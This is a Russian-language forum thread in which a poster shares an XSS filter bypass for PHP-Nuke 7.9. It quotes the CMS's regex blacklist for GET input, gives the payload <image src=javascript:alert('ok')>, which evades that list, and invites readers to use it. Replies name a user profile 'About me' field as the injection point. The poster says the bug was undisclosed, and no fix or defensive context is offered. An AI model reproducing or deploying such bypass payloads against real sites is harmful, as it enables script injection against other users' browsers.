баг в PHP-Nuke 7.9

я просмотрел код нюки на русском на нашел брешь в проверке на XSS

PHP:

if (!defined('ADMIN_FILE')) {      foreach ($_GET as $sec_key => $secvalue) {          if ((eregi("<[^>]*script*\"?[^>]*>", $secvalue)) ||          (eregi("<[^>]*object*\"?[^>]*>", $secvalue)) ||          (eregi("<[^>]*iframe*\"?[^>]*>", $secvalue)) ||          (eregi("<[^>]*applet*\"?[^>]*>", $secvalue)) ||          (eregi("<[^>]*meta*\"?[^>]*>", $secvalue)) ||          (eregi("<[^>]*style*\"?[^>]*>", $secvalue)) ||          (eregi("<[^>]*form*\"?[^>]*>", $secvalue)) ||          (eregi("<[^>]*img*\"?[^>]*>", $secvalue)) ||          (eregi("<[^>]*onmouseover*\"?[^>]*>", $secvalue)) ||          (eregi("\([^>]*\"?[^)]*\)", $secvalue)) ||          (eregi("\"", $secvalue)) ||          (eregi("forum_admin", $sec_key)) ||          (eregi("inside_mod", $sec_key))) {

тут нет проверки на тэг <image >
атаку можно провести так

HTML:

<image src=javascript:alert('ok')>

пользуйтесь. будут вопросы - обращайтесь

 

RE конечно, но хотелось бы немного поподробнее....

 

Мне тоже интересно стало.... раскажи подробней...

 

А что тут подробней он ведь и так уже выложил уязвимость можно сказать.

 

Прикольно, держи +

 

вопрос только в том где вводить а?

 

чтоб точно узнать пришлось денвер ставить)))
Ваш аккаунт - Персональная информация - Немного о себе:
=======================
кста я эту багу никому не показывал и никто о ней не знал